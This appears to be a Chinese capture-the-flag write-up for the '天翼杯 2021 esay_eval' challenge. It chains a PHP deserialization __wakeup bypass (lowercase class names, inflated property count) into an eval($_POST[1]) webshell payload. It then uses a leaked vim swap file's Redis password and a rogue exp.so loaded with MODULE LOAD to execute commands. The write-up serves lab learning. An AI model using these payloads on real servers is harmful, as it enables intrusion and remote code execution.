[天翼杯 2021]esay_eval

[天翼杯 2021]esay_eval

<?php
class A{public $code = "";function __call($method,$args){eval($this->code);}function __wakeup(){$this->code = "";}
}class B{function __destruct(){echo $this->a->a();}
}
if(isset($_REQUEST['poc'])){preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);if (isset($ret[1])) {foreach ($ret[1] as $i) {if(intval($i)!==1){exit("you want to bypass wakeup ? no !");}}unserialize($_REQUEST['poc']);    }}else{highlight_file(__FILE__);
} 

 代码审计

给了两个类A和B

A类下有一个公有属性code,call函数和wakeup魔术方法,

B类下有一个一个函数destruct

后面是三个if的判断语句,第一个if判断是isset函数判断request数组中是否有poc参数

preg_match_all函数用于执行一个全局正则表达式匹配。它搜索与给定主题中的模式匹配的所有匹配项,并将匹配项存储在数组中。

语法

int preg_match_all ( string $pattern , string $subject [, array &$matches [, int $flags = PREG_PATTERN_ORDER [, int $offset = 0 ]]] )

搜索 subject 中所有匹配 pattern 给定正则表达式的匹配结果并且将它们以 flag 指定顺序输出到 matches 中。

在第一个匹配找到后, 子序列继续从最后一次匹配位置搜索。

参数说明:

$pattern: 要搜索的模式,字符串形式。

$subject: 输入字符串。

$matches: 多维数组,作为输出参数输出所有匹配结果, 数组排序通过flags指定。

$flags:可以结合下面标记使用(注意不能同时使用PREG_PATTERN_ORDER和 PREG_SET_ORDER):

PREG_PATTERN_ORDER: 结果排序为$matches[0]保存完整模式的所有匹配, $matches[1] 保存第一个子组的所有匹配,以此类推。

PREG_SET_ORDER: 结果排序为$matches[0]包含第一次匹配得到的所有匹配(包含子组), $matches[1]是包含第二次匹配到的所有匹配(包含子组)的数组,以此类推。PREG_OFFSET_CAPTURE: 如果这个标记被传递,每个发现的匹配返回时会增加它相对目标字符串的偏移量。

offset: 通常, 查找时从目标字符串的开始位置开始。可选参数offset用于 从目标字符串中指定位置开始搜索(单位是字节)。

接着分析这段代码:preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);

/"[AB]":匹配双引号内的字母B或A,然后是冒号。

(.*?)非贪婪匹配任意字符,并捕获它们。

:匹配一个冒号。

/s 使`.`匹配包括换行符在内的所有字符。

会从$_REQUEST['poc']字符串中查找所有能够匹配的字符,并把所匹配到的字符存储到$ret数组中。

第二个if是检查$ret,是否找到了匹配项,

foreach遍历匹配结果并验证,遍历匹配的值,并转换为整数,判断是否为1

如果有任何值不等于1就会退出脚本,返回:you want to bypass wakeup ? no !

 如果所有值都通过验证,就对$_REQUEST['poc']进行反序列化,

反序列化将字符串转换回PHP变量。

总的来说就是会对传入的参数进行判断,A或B后面是不是为1,是1才可以继续执行,该题又需要绕过weakup魔术方法,A或B后的一定不能是1,就用到php对类名大小写不敏感的特性去绕过

A或B就可以是a和b,使用小写。

就可以构造payload

<?php
class a{
public $code = "";
function __construct(){
$this->code = "phpinfo();";
}
}
class b{
function __construct(){
$this->a=new a();}
}
echo serialize(new b());

 输出:

O:1:"b":1:{s:1:"a";O:1:"a":1:{s:4:"code";s:10:"phpinfo();";}}

改成:

O:1:"b":2:{s:1:"a";O:1:"a":1:{s:4:"code";s:10:"phpinfo();";}}

绕过weakup魔术方法

传参:/?poc=O:1:"b":2:{s:1:"a";O:1:"a":1:{s:4:"code";s:10:"phpinfo();";}}

进入phpinfo页面

搜索后里面没有flag

换一种姿势,尝试使用一句话木马。用蚁剑连接

构造:

<?php
class a{public $code = "eval(\$_POST[1]);";}class b{public $a;function __construct(){$this -> a=new A();}
}
$c = new b();
$poc = serialize($c);
echo $poc;

 输出:O:1:"b":1:{s:1:"a";O:1:"a":1:{s:4:"code";s:16:"eval($_POST[1]);";}}

构造:/?poc=O:1:"b":2:{s:1:"a";O:1:"a":1:{s:4:"code";s:16:"eval($_POST[1]);";}}

 传入成功后连接蚁剑

 含有一个config.php.swp文件

 是vim泄露,

简述:

当你非正常关闭vim编辑器时(比如直接关闭终端或者电脑断电),会生成一个.swp文件,这个文件是一个临时交换文件,用来备份缓冲区中的内容。

需要注意的是如果你并没有对文件进行修改,而只是读取文件,是不会产生.swp文件的。

意外退出时,并不会覆盖旧的交换文件,而是会重新生成新的交换文件。而原来的文件中并不会有这次的修改,文件内容还是和打开时一样。

例如,第一次产生的交换文件名为“.file.txt.swp”;再次意外退出后,将会产生名为“.file.txt.swo”的交换文件;而第三次产生的交换文件则为“.file.txt.swn”;依此类推。

文件内容:

可以使用Linux命令vi -r config.php.swp来还原文件,使用,ls -al查看文件

但我们直接可以看到内容就不恢复了

内容大概就是:

define("REDIS_PASS","you_cannot_guess_it");

define("DB_DATABASE","test");

define("DB_PASSWOrd","");

define("DB_USERNAME","root");

define("DB_HOST","localhost");

<?php

搜索后是redis,redis就是个数据库,常见端口为6379,常见漏洞为未授权访问。

使用蚁剑的插件redis进行连接

该插件需要科学上网才可以在插件市场下载,不然会一直转圈,加载不出来。

或者可以下载插件源代码。

安装好插件后就可以进行连接

密码是you_cannot_guess_it,在泄露的文件中给了出来。

 连接成功,还需要上传exp.so这个文件,下载地址是:

https://gitcode.com/Dliv3/redis-rogue-server/overview?utm_source=csdn_github_accelerator&isLogin=1

 长传文件后加载这个文件,使用命令

MODULE LOAD /var/www/html/exp.so

 再进行命令执行,ls和cat

 总结:

php对类名大小写不敏感特性可以绕过正则匹配。

对weakup魔术方法的绕过,传入的数量比真实数量大就可以绕过。

eval函数

代码:

eval("echo'hello world';");

上边代码等同于下边的代码:

echo"hello world";

在浏览器中都输出:hello world

 eval() 函数把字符串按照 PHP 代码来计算。该字符串必须是合法的 PHP 代码,且必须以分号结尾。如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。

所以这就是本题的危险函数,通过对poc链的构造先尝试传入phpinfo();成功返回该页面后就可以传入一句话木马,再连接蚁剑,但是权限不够,访问不了根目录,查看config.php.swp文件,涉及到vim泄露,还原文件后得知是redis数据库,给了root账户的密码,使用redis插件进行连接,连接后上传一个so文件用来进一步提权,加载该so文件后就可以进行命令执行。

通过搜索该题还有第二种提权方式

使用disable_functions插件进行提权,只需要简单的ls命令,cat命令就行

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/26098.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

MySQL的索引类型,以及各自的作用

MySQL的索引类型&#xff0c;以及各自的作用 常见的索引类型 主键索引&#xff08;Primary Key Index&#xff09;&#xff1a; 唯一标识表中的记录&#xff0c;确保索引列的值在整个表中是唯一的主键索引通常是唯一索引的一种特例作用&#xff1a;加速查询&#xff0c;并自动…

uniapp 接口请求封装

根目录下创建 config目录 api.js request.js // request.js // 封装一个通用的网络请求函数 适当调整 function httpRequest(options) {const userToken uni.getStorageSync(access_token).token;return new Promise((resolve, reject) > {uni.request({url: ${options.ur…

2-2 基于matlab的变邻域

基于matlab的变邻域&#xff0c;含变惯性权重策略的自适应离散粒子群算法&#xff0c;适应函数是多式联运路径优化距离。有10城市、30城市、75城市三个案例。可直接运行。 2-2 路径规划 自适应离散粒子群算法 - 小红书 (xiaohongshu.com)

新版校园跑腿外卖独立版+APP+小程序前端外卖配送平台源码(含搭建教程)

同城校园跑腿外卖配送平台源码&#xff0c;这套目前全网还没有人分享过&#xff0c;这个是开源的&#xff0c;所以没有任何问题了&#xff0c;这套源码非常吊&#xff0c;支持自定义diy 你可以设计你的页面&#xff0c;设计你自己的风格&#xff0c;支持多校园&#xff0c;独立…

打破时空界限:线上非遗文化馆如何改变非遗文化传播与保存方式?

一、线上非遗文化馆助力传统文化的广泛传播 1、打破时空限制&#xff0c;提升非遗文化的可达性 线上非遗文化馆利用互联网技术将非遗文化展示在虚拟平台上&#xff0c;无论身处何地&#xff0c;用户都可以通过网络访问这些资源。通过3D建模、VR等技术&#xff0c;将传统工艺、表…

计算机毕业三年的我,辞职两次后找不到工作回家,此时是真的羡慕有手艺在手的人

栀子花香&#xff0c;弥漫在空气中&#xff0c;却掩盖不了内心的苦涩。 半年&#xff0c;两份工作&#xff0c;两次裸辞&#xff0c;我&#xff0c;又成了一个身无分文的“废人”。 曾经&#xff0c;我也是人人羡慕的互联网人&#xff0c;月薪6K&#xff0c;过着“955”的“神…

Nginx 版本升级方案

因 nginx发现漏洞、需 Nginx 的版本进行更新&#xff0c;需要用到Nginx服务器提供的平滑升级功能。 一、Nginx安装 Linux服务器 离线安装 nginx_linux 离线安装nginx 依赖包 百度云-CSDN博客 二、查看已安装的 Nginx 版本信息&#xff0c;configure 配置信息 ## nginx 目录 /…

【Mac】精通或死亡Spellz Mastery or Death(角色扮演游戏))游戏介绍

前言 今天给大家介绍一款游戏&#xff0c;《精通或死亡Spellz Mastery or Death for mac》(角色扮演游戏) 。 游戏介绍 《精通或死亡&#xff1a;Spellz Mastery or Death》是一款以魔法为核心的策略角色扮演游戏&#xff08;RPG&#xff09;&#xff0c;玩家在游戏中需要掌…

uniapp 展示地图,并获取当前位置信息(精确位置)

使用uniapp 提供的map标签 <map :keymapIndex class"container" :latitude"latitude" :longitude"longitude" ></map> 页面初始化的时候&#xff0c;获取当前的位置信息 created() {let that thisuni.getLocation({type: gcj02…

【云原生】使用kubekey部署k8s多节点及kubesphere

kubesphere官方部署文档 https://github.com/kubesphere/kubesphere/blob/master/README_zh.md kubuctl命令文档 https://kubernetes.io/zh-cn/docs/reference/kubectl/ k8s资源类型 https://kubernetes.io/zh-cn/docs/reference/kubectl/#%E8%B5%84%E6%BA%90%E7%B1%BB%E5%9E…

linux 文件删除空间未释放问题

nohup.out 文件有20G&#xff0c; 使用rm -rf nohup.out 删除后&#xff0c;磁盘空间并没有释放&#xff0c;原因是java 进程一直往 nohup.out 中写文件&#xff0c;导致nohup文件一直被占用&#xff0c;导致空间无法释放&#xff0c;要释放空间&#xff0c;就重启java服务&…

【APP移动端自动化测试】第二节.Appium介绍和常用命令代码实现

文章目录 前言一、Appium介绍和安装二、python代码功能实现 2.1 hello appium 参数详解 2.2 在脚本内启动其他app 2.3 获取app的包名和界面名 2.4 关闭app和驱动对象 2.5 安装和卸载以及是否安装app 2.6 将应用置于后台总结 前言 一、Appium介绍…

探索AOSP中的RRO:运行时资源覆盖的奥秘

探索AOSP中的RRO:运行时资源覆盖的奥秘 在Android开发中,为了提供更大的灵活性和可定制性,Android提供了一种关键特性:运行时资源覆盖(Runtime Resource Overlay,简称RRO)。本文将深入探讨RRO在Android开源项目(AOSP)中的作用及其实现方法。 什么是运行时资源覆盖(…

Qt飞机大战小游戏

Gitee地址 &#xff1a;plane-game: 基于Qt的飞机大战小游戏 GitHub地址&#xff1a; https://github.com/a-mo-xi-wei/plane-game

k8s学习--kubernetes服务自动伸缩之水平伸缩(pod副本伸缩)HPA详细解释与案例应用

文章目录 前言HPA简介简单理解详细解释HPA 的工作原理监控系统负载模式HPA 的优势使用 HPA 的注意事项应用类型 应用环境1.metircs-server部署2.HPA演示示例&#xff08;1&#xff09;部署一个服务&#xff08;2&#xff09;创建HPA对象&#xff08;3&#xff09;执行压测 前言…

大数据平台之权限管理

大数据平台权限管理是保证数据安全和合规性的重要组成部分&#xff0c;它涉及用户身份验证、授权、审计等方面。以下是对大数据平台权限管理的详细介绍&#xff1a; 1. 权限管理的概述 权限管理的核心是控制谁可以访问哪些数据和资源&#xff0c;以及他们可以执行哪些操作。这…

图说设计模式:单例模式

更多C学习笔记&#xff0c;关注 wx公众号&#xff1a;cpp读书笔记 5. 单例模式 单例模式 模式动机模式定义模式结构时序图代码分析模式分析实例优点缺点适用环境模式应用模式扩展总结 5.1. 模式动机 对于系统中的某些类来说&#xff0c;只有一个实例很重要&#xff0c;例如…

使用Vue3+ElementPlus+高德地图实现在浏览器中搜索地点并被标记在地图中

效果描述 在页面的输入框中输入想要查询的地点&#xff0c;在输入框的下方会提示跟输入的关键字有关地点&#xff0c;然后按下回车键或者选择下方罗列的地点即可让地图跳转到搜索的位置。 效果展示 页面渲染完成的时候 输入想要查询的地点 按下回车键之后 代码实现 <temp…

大促活动后为什么要做数据分析?详解促销复盘分析指标?

在电商平台促销活动已成为商家吸引顾客、提升销售的重要手段。无论是一年一度的”双十一”、”618″&#xff0c;还是针对特定节日的小规模促销&#xff0c;这些活动都能在短时间内引爆消费者的购买热情&#xff0c;显著提升店铺的销售业绩。然而&#xff0c;促销活动的成功与否…

BGW总结

Java基础 Java概述 面向对象和面向过程的区别 面向过程性能比面向对象高&#xff0c;因为类调用时需要实例化&#xff0c;开销比较大 面向对象有封装、继承、多态性的特性&#xff0c;可以设计出低耦合的系统&#xff0c;使系统更加灵活、更加易于维护 三大特性 ①封装&a…